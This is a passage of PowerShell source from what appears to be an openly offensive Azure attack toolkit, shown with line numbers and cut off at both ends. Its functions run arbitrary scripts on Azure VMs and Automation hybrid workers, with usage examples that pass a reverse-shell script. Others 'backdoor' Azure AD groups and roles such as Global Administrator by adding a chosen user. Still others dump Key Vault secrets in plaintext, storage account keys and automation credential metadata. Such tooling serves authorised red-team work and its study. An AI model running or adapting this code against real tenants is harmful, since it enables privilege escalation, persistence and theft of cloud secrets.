((Invoke-RestMethod -Uri "https://management.azure.com$($_.id)/providers/Microsoft.Authorization/permissions?api-version=2018-07-01" -Headers $headers).value).actions 1752 | } 1753 | catch { 1754 | $permissions = @() 1755 | } 1756 | 1757 | $obj = [PSCustomObject]@{ 1758 | Name = $_.name 1759 | ResourceGroupName = $_.id.Split('/')[4] 1760 | ResourceType = $_.type 1761 | Permissions = $permissions 1762 | Scope = $_.id 1763 | } 1764 | 1765 | $null = $Coll.Add($obj) 1766 | } 1767 | 1768 | if ($Text) { 1769 | Write-Host "=== Accessible Azure Resources & Permissions ==" 1770 | 1771 | $num = 1 1772 | $Coll | % { 1773 | Write-Host "`n`t$($num)." 1774 | Write-Host "`tName :`t$($_.Name)" 1775 | Write-Host "`tResource Group Name :`t$($_.ResourceGroupName)" 1776 | Write-Host "`tResource Type :`t$($_.ResourceType)" 1777 | Write-Host "`tScope :`t$($_.Scope)" 1778 | Write-Host "`tPermissions: $($_.Permissions.Length)" 1779 | 1780 | $_.Permissions | % { 1781 | Write-Host "`t`t- $_" 1782 | } 1783 | 1784 | 1785 | $num += 1 1786 | } 1787 | 1788 | Write-Host 1789 | } 1790 | else { 1791 | $Coll 1792 | } 1793 | } 1794 | catch { 1795 | Write-Host "[!] Function failed!" -ForegroundColor Red 1796 | Throw 1797 | Return 1798 | } 1799 | finally { 1800 | $ErrorActionPreference = $EA 1801 | } 1802 | } 1803 | 1804 | Function Get-ARTADRolePermissions { 1805 | <# 1806 | .SYNOPSIS 1807 | Shows Azure AD role permissions. 1808 | 1809 | .DESCRIPTION 1810 | Displays all granted permissions on a specified Azure AD role. 1811 | 1812 | .PARAMETER RoleName 1813 | Name of the role to inspect. 1814 | 1815 | .EXAMPLE 1816 | PS> Get-ARTADRolePermissions -RoleName "Global Administrator" 1817 | #> 1818 | 1819 | [CmdletBinding()] 1820 | Param( 1821 | [Parameter(Mandatory=$True)] 1822 | [String] 1823 | $RoleName 1824 | ) 1825 | 1826 | try { 1827 | $EA = $ErrorActionPreference 1828 | $ErrorActionPreference = 'silentlycontinue' 1829 | 1830 | (Get-AzureADMSRoleDefinition -Filter "displayName eq '$RoleName'").RolePermissions | select -Expand AllowedResourceActions | Format-List 1831 | } 1832 | catch { 1833 | Write-Host "[!] Function failed!" -ForegroundColor Red 1834 | Throw 1835 | Return 1836 | } 1837 | finally { 1838 | $ErrorActionPreference = $EA 1839 | } 1840 | } 1841 | 1842 | Function Get-ARTRolePermissions { 1843 | <# 1844 | .SYNOPSIS 1845 | Shows Azure role permissions. 1846 | 1847 | .DESCRIPTION 1848 | Displays all granted permissions on a specified Azure RBAC role. 1849 | 1850 | .PARAMETER RoleName 1851 | Name of the role to inspect. 1852 | 1853 | .EXAMPLE 1854 | PS> Get-ARTRolePermissions -RoleName Owner 1855 | #> 1856 | 1857 | [CmdletBinding()] 1858 | Param( 1859 | [Parameter(Mandatory=$True)] 1860 | [String] 1861 | $RoleName 1862 | ) 1863 | 1864 | try { 1865 | $EA = $ErrorActionPreference 1866 | $ErrorActionPreference = 'silentlycontinue' 1867 | 1868 | try { 1869 | $role = Get-AzRoleDefinition -Name $RoleName 1870 | } 1871 | catch { 1872 | Write-Host "[!] Could not get Role Definition. Possibly due to lacking privileges or lack of connection." 1873 | Throw 1874 | Return 1875 | } 1876 | 1877 | Write-Host "Role Name : $RoleName" 1878 | Write-Host "Is Custom Role : $($role.IsCustom)" 1879 | 1880 | if($role.Actions.Length -gt 0 ) { 1881 | Write-Host "`nActions:" 1882 | $role.Actions | % { 1883 | Write-Host "`t- $($_)" 1884 | } 1885 | } 1886 | 1887 | if($role.NotActions.Length -gt 0 ) { 1888 | Write-Host "`nNotActions:" 1889 | $role.NotActions | % { 1890 | Write-Host "`t- $($_)" 1891 | } 1892 | } 1893 | 1894 | if($role.DataActions.Length -gt 0 ) { 1895 | Write-Host "`nDataActions:" 1896 | $role.DataActions | % { 1897 | Write-Host "`t- $($_)" 1898 | } 1899 | } 1900 | 1901 | if($role.NotDataActions.Length -gt 0 ) { 1902 | Write-Host "`nNotDataActions:" 1903 | $role.NotDataActions | % { 1904 | Write-Host "`t- $($_)" 1905 | } 1906 | } 1907 | 1908 | Write-Host "" 1909 | } 1910 | catch { 1911 | Write-Host "[!] Function failed!" -ForegroundColor Red 1912 | Throw 1913 | Return 1914 | } 1915 | finally { 1916 | $ErrorActionPreference = $EA 1917 | } 1918 | } 1919 | 1920 | Function Get-ARTAutomationRunbookCode { 1921 | <# 1922 | .SYNOPSIS 1923 | Retrieves automation's runbook code. 1924 | 1925 | .DESCRIPTION 1926 | Invokes REST API method to pull specified Runbook's source code. 1927 | 1928 | .PARAMETER RunbookName 1929 | Specifies Runbook's name. 1930 | 1931 | .PARAMETER OutFile 1932 | Optional file name where to save retrieved source code. 1933 | 1934 | .PARAMETER AutomationAccountName 1935 | Azure Automation account name that contains target runbook. 1936 | 1937 | .PARAMETER ResourceGroupName 1938 | Azure Resource Group name that contains target Automation Account 1939 | 1940 | .PARAMETER SubscriptionId 1941 | Azure Subscrition ID that contains target Resource Group 1942 | 1943 | .EXAMPLE 1944 | Example 1: Will attempt to automatically find requested runbook and retrieve its code. 1945 | PS> Get-ARTAutomationRunbookCode -RunbookName MyLittleRunbook 1946 | #> 1947 | 1948 | [CmdletBinding()] 1949 | Param( 1950 | [Parameter(Mandatory=$True)] 1951 | [String] 1952 | $RunbookName, 1953 | 1954 | [Parameter(Mandatory=$False)] 1955 | [String] 1956 | $SubscriptionId = $null, 1957 | 1958 | [Parameter(Mandatory=$False)] 1959 | [String] 1960 | $AutomationAccountName = $null, 1961 | 1962 | [Parameter(Mandatory=$False)] 1963 | [String] 1964 | $ResourceGroupName = $null 1965 | ) 1966 | 1967 | try { 1968 | $EA = $ErrorActionPreference 1969 | $ErrorActionPreference = 'silentlycontinue' 1970 | 1971 | if(($AutomationAccount -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) -or ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 1972 | Get-AzAutomationAccount | % { 1973 | $AutomationAccount = $_ 1974 | 1975 | Write-Verbose "Enumerating account $($AutomationAccount.AutomationAccountName) in resource group $($AutomationAccount.ResourceGroupName) ..." 1976 | 1977 | Get-AzAutomationRunbook -AutomationAccountName $AutomationAccount.AutomationAccountName -ResourceGroupName $AutomationAccount.ResourceGroupName | % { 1978 | $Runbook = $_ 1979 | 1980 | Write-Verbose "`tEnumerating runbook $($Runbook.Name) ..." 1981 | 1982 | if($_.Name -match $RunbookName) { 1983 | $AutomationAccountName = $AutomationAccount.AutomationAccountName 1984 | $ResourceGroupName = $AutomationAccount.ResourceGroupName 1985 | $SubscriptionId = $AutomationAccount.SubscriptionId 1986 | 1987 | Write-Host "[+] Found requested Runbook in account: $AutomationAccountName - Resource group: $ResourceGroupName" -ForegroundColor Green 1988 | break 1989 | } 1990 | } 1991 | 1992 | if(($SubscriptionId -ne $null -and $SubscriptionId.Length -gt 0) -and ($AutomationAccountName -ne $null -and $AutomationAccountName.Length -gt 0) -and ($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0)) { 1993 | break 1994 | } 1995 | } 1996 | } 1997 | 1998 | Write-Host "Runbook parameters:" 1999 | Write-Host "`t- RunbookName : $RunbookName" 2000 | Write-Host "`t- AutomationAccountName: $AutomationAccountName" 2001 | Write-Host "`t- ResourceGroupName : $ResourceGroupName" 2002 | Write-Host "`t- SubscriptionId : $SubscriptionId`n" 2003 | 2004 | if(($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) -or ($AutomationAccountName -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0)) { 2005 | Write-Host "[!] Runbook not found!" -ForegroundColor Red 2006 | Return 2007 | } 2008 | 2009 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 2010 | $AccessToken = Get-ARTAccessTokenAz -Resource https://management.azure.com 2011 | 2012 | if ($AccessToken -eq $null -or $AccessToken.Length -eq 0 ) { 2013 | throw "Could not acquire Access Token!" 2014 | } 2015 | 2016 | $URI = "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$AutomationAccount/runbooks/$RunbookName/draft/content?api-version=2015-10-31" 2017 | 2018 | $out = Invoke-ARTGETRequest -Uri $URI -AccessToken $AccessToken 2019 | 2020 | if($out.Length -gt 0) { 2021 | if($OutFile -ne $null -and $OutFile.Length -gt 0) { 2022 | $out | Out-File $OutFile 2023 | 2024 | Write-Host "[+] Runbook's code written to file: $OutFile" -ForegroundColor Green 2025 | } 2026 | else { 2027 | Write-Host "============================================================`n" -ForegroundColor Magenta 2028 | 2029 | Write-Host $out 2030 | 2031 | Write-Host "`n============================================================`n" -ForegroundColor Magenta 2032 | } 2033 | } 2034 | else { 2035 | Write-Host "[-] Returned empty Runbook's code." -ForegroundColor Magenta 2036 | } 2037 | } 2038 | catch { 2039 | Write-Host "[!] Function failed!" -ForegroundColor Red 2040 | Throw 2041 | Return 2042 | } 2043 | finally { 2044 | $ErrorActionPreference = $EA 2045 | } 2046 | } 2047 | 2048 | Function Invoke-ARTAutomationRunbook { 2049 | <# 2050 | .SYNOPSIS 2051 | Invokes supplied Powershell script/command via Automation Runbook. 2052 | 2053 | .DESCRIPTION 2054 | Creates an Automation Runbook under specified Automation Account and against selected Worker Group. 2055 | That Runbook will contain Powershell commands to be executed on all the affected Azure VMs. 2056 | 2057 | .PARAMETER RunbookName 2058 | Specifies Runbook's name to create. 2059 | 2060 | .PARAMETER ScriptPath 2061 | Path to the Powershell script file. 2062 | 2063 | .PARAMETER Command 2064 | Command to be executed in Runbook. 2065 | 2066 | .PARAMETER RemoveAfter 2067 | Remove Runbook after running it. 2068 | 2069 | .PARAMETER AutomationAccountName 2070 | Target Azure Automation account name. 2071 | 2072 | .PARAMETER ResourceGroupName 2073 | Target Azure Resource Group name. 2074 | 2075 | .PARAMETER WorkergroupName 2076 | Target Azure Workgroup Name. 2077 | 2078 | .EXAMPLE 2079 | PS> Invoke-ARTAutomationRunbook -RunbookName MyLittleRunbook -ScriptPath .\ReverseShell.ps1 -Verbose 2080 | #> 2081 | 2082 | [CmdletBinding(DefaultParameterSetName = 'Auto')] 2083 | Param( 2084 | [Parameter(Mandatory=$True)] 2085 | [String] 2086 | $RunbookName, 2087 | 2088 | [String] 2089 | $ScriptPath = $null, 2090 | 2091 | [String] 2092 | $Command = $null, 2093 | 2094 | [Switch] 2095 | $RemoveAfter, 2096 | 2097 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 2098 | [String] 2099 | $AutomationAccountName = $null, 2100 | 2101 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 2102 | [String] 2103 | $ResourceGroupName = $null, 2104 | 2105 | [Parameter(Mandatory=$True, ParameterSetName = 'Manual')] 2106 | [String] 2107 | $WorkergroupName = $null 2108 | ) 2109 | 2110 | try { 2111 | $EA = $ErrorActionPreference 2112 | $ErrorActionPreference = 'silentlycontinue' 2113 | 2114 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 2115 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 2116 | Return 2117 | } 2118 | 2119 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 2120 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 2121 | Return 2122 | } 2123 | 2124 | $createdFile = $false 2125 | 2126 | if ($Command -ne $null -and $Command.Length -gt 0) { 2127 | $File = New-TemporaryFile 2128 | $ScriptPath = $File.FullName 2129 | Remove-Item $ScriptPath 2130 | $ScriptPath = $ScriptPath + ".ps1" 2131 | 2132 | Write-Verbose "Writing supplied commands to a temporary file..." 2133 | $Command | Out-File $ScriptPath 2134 | $createdFile = $true 2135 | } 2136 | 2137 | $AutomationAccount = Get-AzAutomationAccount 2138 | 2139 | Write-Host "`nStep 1. Get the role of a user on the Automation account" 2140 | $roles = (Get-AzRoleAssignment | ? { $_.Scope -like '*Microsoft.Automation*' } | ? { $_.RoleDefinitionName -match 'Contributor' -or $_.RoleDefinitionName -match 'Owner' }) 2141 | 2142 | if ($roles -eq $null -or $roles.Length -eq 0 ) { 2143 | Write-Warning "Did not find assigned Roles for the Azure Automation service. The principal may be unauthorized to import Runbooks!" 2144 | } 2145 | else { 2146 | $r = $roles[0].RoleDefinitionName 2147 | Write-Host "[+] Principal has $r rights over Azure Automation." 2148 | } 2149 | 2150 | if($PsCmdlet.ParameterSetName -eq "Auto") { 2151 | if ($roles -eq $null -or $roles.Length -eq 0 ) { 2152 | throw "Unable to automatically establish Automation Account Name and Resource Group Name. Pass them manually via parameters." 2153 | return 2154 | } 2155 | 2156 | $parts = $roles[0].Scope.Split('/') 2157 | 2158 | if($AutomationAccountName -eq $null -or $AutomationAccountName.Length -eq 0) { 2159 | $AutomationAccountName = $parts[8] 2160 | } 2161 | 2162 | if($AutomationAccountName -eq $null -or $ResourceGroupName.Length -eq 0) { 2163 | $ResourceGroupName = $parts[4] 2164 | } 2165 | } 2166 | 2167 | Write-Verbose "[.] Will target resource group: $ResourceGroupName and automation account: $AutomationAccountName" 2168 | 2169 | if($WorkergroupName -eq $null -or $WorkergroupName.Length -eq 0) { 2170 | Write-Host "`nStep 2. List hybrid workers" 2171 | $workergroup = Get-AzAutomationHybridWorkerGroup -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName 2172 | $Workergroup 2173 | 2174 | $WorkergroupName = $workergroup.Name 2175 | } 2176 | else { 2177 | Write-Host "`nStep 2. Will use hybrid worker group: $WorkergroupName" 2178 | } 2179 | 2180 | Write-Host "`nStep 3. Create a Powershell Runbook`n" 2181 | Import-AzAutomationRunbook -Name $RunbookName -Path $ScriptPath -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell -Force -Verbose 2182 | 2183 | Write-Host "`nStep 4. Publish the Runbook`n" 2184 | Publish-AzAutomationRunbook -RunbookName $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Verbose 2185 | 2186 | Write-Host "`nStep 5. Start the Runbook`n" 2187 | Start-AzAutomationRunbook -RunbookName $RunbookName -RunOn $WorkergroupName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Verbose 2188 | 2189 | if($RemoveAfter) { 2190 | Write-Host "`nStep 6. Removing the Runbook.`n" 2191 | Remove-AzAutomationRunbook -AutomationAccountName $AutomationAccountName -Name $RunbookName -ResourceGroupName $ResourceGroupName -Force 2192 | } 2193 | 2194 | if($createdFile) { 2195 | Remove-Item $ScriptPath 2196 | } 2197 | 2198 | Write-Host "Attack finished." 2199 | } 2200 | catch { 2201 | Write-Host "[!] Function failed!" -ForegroundColor Red 2202 | Throw 2203 | Return 2204 | } 2205 | finally { 2206 | $ErrorActionPreference = $EA 2207 | } 2208 | } 2209 | 2210 | Function Invoke-ARTRunCommand { 2211 | <# 2212 | .SYNOPSIS 2213 | Invokes supplied Powershell script/command on a controlled Azure VM. 2214 | 2215 | .DESCRIPTION 2216 | Abuses virtualMachines/runCommand permission against a specified Azure VM to run custom Powershell command. 2217 | 2218 | .PARAMETER VMName 2219 | Specifies Azure VM name to target. 2220 | 2221 | .PARAMETER ScriptPath 2222 | Path to the Powershell script file. 2223 | 2224 | .PARAMETER Command 2225 | Command to be executed in Azure VM. 2226 | 2227 | .PARAMETER ResourceGroupName 2228 | Target Azure Resource Group name. 2229 | 2230 | .EXAMPLE 2231 | PS> Invoke-ARTRunCommand -VMName MyVM1 -ScriptPath .\ReverseShell.ps1 -Verbose 2232 | #> 2233 | 2234 | [CmdletBinding()] 2235 | Param( 2236 | [Parameter(Mandatory=$True)] 2237 | [String] 2238 | $VMName, 2239 | 2240 | [String] 2241 | $ScriptPath = $null, 2242 | 2243 | [String] 2244 | $Command = $null, 2245 | 2246 | [Parameter(Mandatory=$False)] 2247 | [String] 2248 | $ResourceGroupName = $null 2249 | ) 2250 | 2251 | try { 2252 | $EA = $ErrorActionPreference 2253 | $ErrorActionPreference = 'silentlycontinue' 2254 | 2255 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 2256 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 2257 | Return 2258 | } 2259 | 2260 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 2261 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 2262 | Return 2263 | } 2264 | 2265 | $createdFile = $false 2266 | 2267 | if ($Command -ne $null -and $Command.Length -gt 0) { 2268 | $File = New-TemporaryFile 2269 | $ScriptPath = $File.FullName 2270 | Remove-Item $ScriptPath 2271 | $ScriptPath = $ScriptPath + ".ps1" 2272 | 2273 | Write-Verbose "Writing supplied commands to a temporary file..." 2274 | $Command | Out-File $ScriptPath 2275 | $createdFile = $true 2276 | } 2277 | 2278 | if($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) { 2279 | Write-Verbose "Searching for a specified VM..." 2280 | 2281 | Get-AzVM | % { 2282 | if($_.name -eq $VMName) { 2283 | $ResourceGroupName = $_.ResourceGroupName 2284 | Write-Verbose "Found Azure VM: $($_.Name) / $($_.ResourceGroupName)" 2285 | break 2286 | } 2287 | } 2288 | } 2289 | 2290 | Write-Host "[+] Running command on $($VMName) / $($ResourceGroupName) ..." 2291 | 2292 | Write-Host "==============================" 2293 | 2294 | Invoke-AzVMRunCommand -VMName $VMName -ResourceGroupName $ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath $ScriptPath 2295 | 2296 | Write-Host "==============================" 2297 | 2298 | if($createdFile) { 2299 | Remove-Item $ScriptPath 2300 | } 2301 | 2302 | Write-Host "[+] Attack finished." -ForegroundColor Green 2303 | } 2304 | catch { 2305 | Write-Host "[!] Function failed!" -ForegroundColor Red 2306 | Throw 2307 | Return 2308 | } 2309 | finally { 2310 | $ErrorActionPreference = $EA 2311 | } 2312 | } 2313 | 2314 | 2315 | Function Add-ARTUserToGroup { 2316 | <# 2317 | .SYNOPSIS 2318 | Adds user to an Azure AD group. 2319 | 2320 | .DESCRIPTION 2321 | Adds a specified Azure AD User to the specified Azure AD Group. 2322 | 2323 | .PARAMETER Account 2324 | Specifies Account ID/DisplayName/UserPrincipalName that is to be added to the Group. 2325 | 2326 | .PARAMETER GroupName 2327 | Specifies target Group that is to be backdoored with new user. 2328 | 2329 | .EXAMPLE 2330 | PS> Add-ARTUserToGroup -Account myuser -GroupName "My Company Admins" 2331 | #> 2332 | 2333 | [CmdletBinding()] 2334 | Param( 2335 | [Parameter(Mandatory=$True)] 2336 | [String] 2337 | $Account, 2338 | 2339 | [Parameter(Mandatory=$True)] 2340 | [String] 2341 | $GroupName 2342 | ) 2343 | 2344 | try { 2345 | $EA = $ErrorActionPreference 2346 | $ErrorActionPreference = 'silentlycontinue' 2347 | 2348 | $User = Get-AzureADUser | ? { $_.ObjectId -eq $Account -or $_.DisplayName -eq $Account -or $_.UserPrincipalName -eq $Account } 2349 | 2350 | if ($User -eq $null -or $User.ObjectId -eq $null) { 2351 | Write-Error "Could not find target user with Account: $Account" 2352 | Return 2353 | } 2354 | 2355 | $Group = Get-AzureADGroup | ? { $_.ObjectId -eq $GroupName -or $_.DisplayName -eq $GroupName} 2356 | 2357 | if ($Group -eq $null -or $Group.ObjectId -eq $null) { 2358 | Write-Error "Could not find target group with name: $GroupName" 2359 | Return 2360 | } 2361 | 2362 | Add-AzureADGroupMember -ObjectId $Group.ObjectId -RefObjectId $User.ObjectId 2363 | 2364 | Write-Host "[+] Added user $($User.DisplayName) to Azure AD Group $($Group.DisplayName) ($($Group.ObjectId))" 2365 | } 2366 | catch { 2367 | Write-Host "[!] Function failed!" -ForegroundColor Red 2368 | Throw 2369 | Return 2370 | } 2371 | finally { 2372 | $ErrorActionPreference = $EA 2373 | } 2374 | } 2375 | 2376 | Function Get-ARTRoleAssignment { 2377 | <# 2378 | .SYNOPSIS 2379 | Displays Azure Role assignment on a currently authenticated user. 2380 | 2381 | .PARAMETER Scope 2382 | Optional parameter that specifies which Azure Resource IAM Access Policy is to be examined. 2383 | 2384 | .DESCRIPTION 2385 | Displays a bit easier to read representation of assigned Azure RBAC roles to the currently used Principal. 2386 | 2387 | .EXAMPLE 2388 | Example 1: Examine Roles Assigned on a current User 2389 | PS> Get-ARTRoleAssignment | Format-Table 2390 | 2391 | Example 2: Examine Roles Assigned on a specific Azure VM 2392 | PS> Get-ARTRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Compute/virtualMachines/ 2393 | #> 2394 | [CmdletBinding()] 2395 | Param( 2396 | [Parameter(Mandatory=$False)] 2397 | [String] 2398 | $Scope 2399 | ) 2400 | 2401 | try { 2402 | $EA = $ErrorActionPreference 2403 | $ErrorActionPreference = 'silentlycontinue' 2404 | 2405 | if($Scope -ne $null -and $Scope.Length -gt 0 ) { 2406 | 2407 | Write-Verbose "Pulling Azure RBAC Role Assignment on resource scoped to:`n`t$Scope`n" 2408 | $roles = Get-AzRoleAssignment -Scope $Scope 2409 | } 2410 | else { 2411 | $roles = Get-AzRoleAssignment 2412 | } 2413 | 2414 | $Coll = New-Object System.Collections.ArrayList 2415 | $roles | % { 2416 | $parts = $_.Scope.Split('/') 2417 | $scope = $parts[6..$parts.Length] -join '/' 2418 | 2419 | $obj = [PSCustomObject]@{ 2420 | DisplayName = $_.DisplayName 2421 | RoleDefinitionName= $_.RoleDefinitionName 2422 | Resource = $scope 2423 | ResourceGroup = $parts[4] 2424 | ObjectType = $_.ObjectType 2425 | SignInName = $_.SignInName 2426 | CanDelegate = $_.CanDelegate 2427 | ObjectId = $_.ObjectId 2428 | Scope = $_.Scope 2429 | } 2430 | 2431 | $null = $Coll.Add($obj) 2432 | } 2433 | 2434 | $Coll 2435 | } 2436 | catch { 2437 | Write-Host "[!] Function failed!" -ForegroundColor Red 2438 | Throw 2439 | Return 2440 | } 2441 | finally { 2442 | $ErrorActionPreference = $EA 2443 | } 2444 | } 2445 | 2446 | 2447 | 2448 | Function Add-ARTUserToRole { 2449 | <# 2450 | .SYNOPSIS 2451 | Assigns a Azure AD Role to the user. 2452 | 2453 | .DESCRIPTION 2454 | Adds a specified Azure AD User to the specified Azure AD Role. 2455 | 2456 | .PARAMETER Account 2457 | Specifies Account ID/DisplayName/UserPrincipalName that is to be added to the Role. 2458 | 2459 | .PARAMETER RoleName 2460 | Specifies target Role that is to be backdoored with new user. 2461 | 2462 | .EXAMPLE 2463 | PS> Add-ARTUserToRole -Account myuser -RoleName "Global Administrator" 2464 | #> 2465 | 2466 | [CmdletBinding()] 2467 | Param( 2468 | [Parameter(Mandatory=$True)] 2469 | [String] 2470 | $Account, 2471 | 2472 | [Parameter(Mandatory=$True)] 2473 | [String] 2474 | $RoleName 2475 | ) 2476 | 2477 | try { 2478 | $EA = $ErrorActionPreference 2479 | $ErrorActionPreference = 'silentlycontinue' 2480 | 2481 | $User = Get-AzureADUser | ? { $_.ObjectId -eq $Account -or $_.DisplayName -eq $Account -or $_.UserPrincipalName -eq $Account } 2482 | 2483 | if ($User -eq $null -or $User.ObjectId -eq $null) { 2484 | Write-Error "Could not find target user with Account: $Account" 2485 | Return 2486 | } 2487 | 2488 | $Role = Get-AzureADDirectoryRole | ? { $_.ObjectId -eq $RoleName -or $_.DisplayName -eq $RoleName} 2489 | 2490 | if ($Role -eq $null -or $Role.ObjectId -eq $null) { 2491 | Write-Error "Could not find target group with name: $RoleName" 2492 | Return 2493 | } 2494 | 2495 | Add-AzureADDirectoryRoleMember -ObjectId $Role.ObjectId -RefObjectId $User.ObjectId 2496 | 2497 | Write-Host "[+] Added user $($User.DisplayName) to Azure AD Role $($Role.DisplayName) ($($Role.ObjectId))" 2498 | } 2499 | catch { 2500 | Write-Host "[!] Function failed!" -ForegroundColor Red 2501 | Throw 2502 | Return 2503 | } 2504 | finally { 2505 | $ErrorActionPreference = $EA 2506 | } 2507 | } 2508 | 2509 | 2510 | Function Get-ARTKeyVaultSecrets { 2511 | <# 2512 | .SYNOPSIS 2513 | Displays all the available Key Vault secrets user can access. 2514 | 2515 | .DESCRIPTION 2516 | Lists all available Azure Key Vault secrets. 2517 | This cmdlet assumes that requesting user connected to the Azure AD with KeyVaultAccessToken 2518 | (scoped to https://vault.azure.net) and has "Key Vault Secrets User" role assigned (or equivalent). 2519 | 2520 | .EXAMPLE 2521 | PS> Get-ARTKeyVaultSecrets 2522 | #> 2523 | [CmdletBinding()] 2524 | Param( 2525 | ) 2526 | 2527 | try { 2528 | $EA = $ErrorActionPreference 2529 | $ErrorActionPreference = 'silentlycontinue' 2530 | 2531 | $Coll = New-Object System.Collections.ArrayList 2532 | 2533 | Get-AzKeyVault | % { 2534 | $VaultName = $_.VaultName 2535 | 2536 | try { 2537 | $secrets = Get-AzKeyVaultSecret -VaultName $VaultName -ErrorAction Stop 2538 | 2539 | $secrets | % { 2540 | $SecretName = $_.Name 2541 | 2542 | $value = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -AsPlainText 2543 | 2544 | $obj = [PSCustomObject]@{ 2545 | VaultName = $VaultName 2546 | Name = $SecretName 2547 | Value = $value 2548 | Created = $_.Created 2549 | Updated = $_.Updated 2550 | Enabled = $_.Enabled 2551 | } 2552 | 2553 | $null = $Coll.Add($obj) 2554 | } 2555 | } 2556 | catch { 2557 | Write-Host "[!] Get-AzKeyVaultSecret -VaultName $($VaultName) failed:`n $_" -ForegroundColor Red 2558 | #Write-Error $Error[0].Exception.InnerException.StackTrace 2559 | 2560 | Write-Host "`n[!!!] Make sure your Access Token is scoped to https://vault.azure.net [!!!]`n" -ForegroundColor Red 2561 | Write-Host "Authenticate with:`n`tConnect-ART -AccessToken `$AccessToken -KeyVaultAccessToken `$KeyVaultToken`n" 2562 | } 2563 | } 2564 | 2565 | Return $Coll 2566 | } 2567 | catch { 2568 | Write-Host "[!] Function failed!" -ForegroundColor Red 2569 | Throw 2570 | Return 2571 | } 2572 | finally { 2573 | $ErrorActionPreference = $EA 2574 | } 2575 | } 2576 | 2577 | 2578 | Function Get-ARTStorageAccountKeys { 2579 | <# 2580 | .SYNOPSIS 2581 | Displays all the available Storage Account keys. 2582 | 2583 | .DESCRIPTION 2584 | Displays all the available Storage Account keys. 2585 | 2586 | .EXAMPLE 2587 | PS> Get-ARTStorageAccountKeys 2588 | #> 2589 | [CmdletBinding()] 2590 | Param( 2591 | ) 2592 | 2593 | try { 2594 | $EA = $ErrorActionPreference 2595 | $ErrorActionPreference = 'silentlycontinue' 2596 | 2597 | $Coll = New-Object System.Collections.ArrayList 2598 | 2599 | Get-AzStorageAccount | % { 2600 | $AccountName = $_.StorageAccountName 2601 | $ResourceGroupName = $_.ResourceGroupName 2602 | 2603 | try { 2604 | $keys = Get-AzStorageAccountKey -Name $AccountName -ResourceGroupName $ResourceGroupName -ErrorAction Stop 2605 | 2606 | $keys | % { 2607 | 2608 | $obj = [PSCustomObject]@{ 2609 | KeyName = $_.KeyName 2610 | ResourceGroupName = $ResourceGroupName 2611 | StorageAccountName = $AccountName 2612 | StorageAccountKey = $_.Value 2613 | Permissions = $_.Permissions 2614 | CreationTime = $_.CreationTime 2615 | } 2616 | 2617 | $null = $Coll.Add($obj) 2618 | } 2619 | } 2620 | catch { 2621 | Write-Host "[!] Get-ARTStorageAccountKeys -Name $($AccountName) failed:`n $_" -ForegroundColor Red 2622 | #Write-Error $Error[0].Exception.InnerException.StackTrace 2623 | } 2624 | } 2625 | 2626 | Return $Coll 2627 | } 2628 | catch { 2629 | Write-Host "[!] Function failed!" -ForegroundColor Red 2630 | Throw 2631 | Return 2632 | } 2633 | finally { 2634 | $ErrorActionPreference = $EA 2635 | } 2636 | } 2637 | 2638 | 2639 | Function Get-ARTAutomationCredentials { 2640 | <# 2641 | .SYNOPSIS 2642 | Displays all the automation accounts and their related credentials metadata (unable to pull values!). 2643 | 2644 | .DESCRIPTION 2645 | Lists all available automation account credentials (unable to pull values!). 2646 | 2647 | .PARAMETER AutomationAccountName 2648 | Azure Automation account name that contains target runbook. 2649 | 2650 | .PARAMETER ResourceGroupName 2651 | Azure Resource Group name that contains target Automation Account 2652 | 2653 | .PARAMETER SubscriptionId 2654 | Azure Subscrition ID that contains target Resource Group 2655 | 2656 | .EXAMPLE 2657 | PS> Get-ARTAutomationCredentials 2658 | #> 2659 | 2660 | [CmdletBinding()] 2661 | Param( 2662 | [Parameter(Mandatory=$False)] 2663 | [String] 2664 | $SubscriptionId = $null, 2665 | 2666 | [Parameter(Mandatory=$False)] 2667 | [String] 2668 | $AutomationAccountName = $null, 2669 | 2670 | [Parameter(Mandatory=$False)] 2671 | [String] 2672 | $ResourceGroupName = $null 2673 | ) 2674 | 2675 | try { 2676 | $EA = $ErrorActionPreference 2677 | $ErrorActionPreference = 'silentlycontinue' 2678 | 2679 | $Coll = New-Object System.Collections.ArrayList 2680 | 2681 | if(($AutomationAccount -eq $null -or $AutomationAccountName.Length -eq 0) -or ($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) -or ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 2682 | Get-AzAutomationAccount | % { 2683 | $AutomationAccount = $_ 2684 | 2685 | Write-Verbose "Enumerating account $($AutomationAccount.AutomationAccountName) in resource group $($AutomationAccount.ResourceGroupName) ..." 2686 | 2687 | Get-AzAutomationCredential -AutomationAccountName 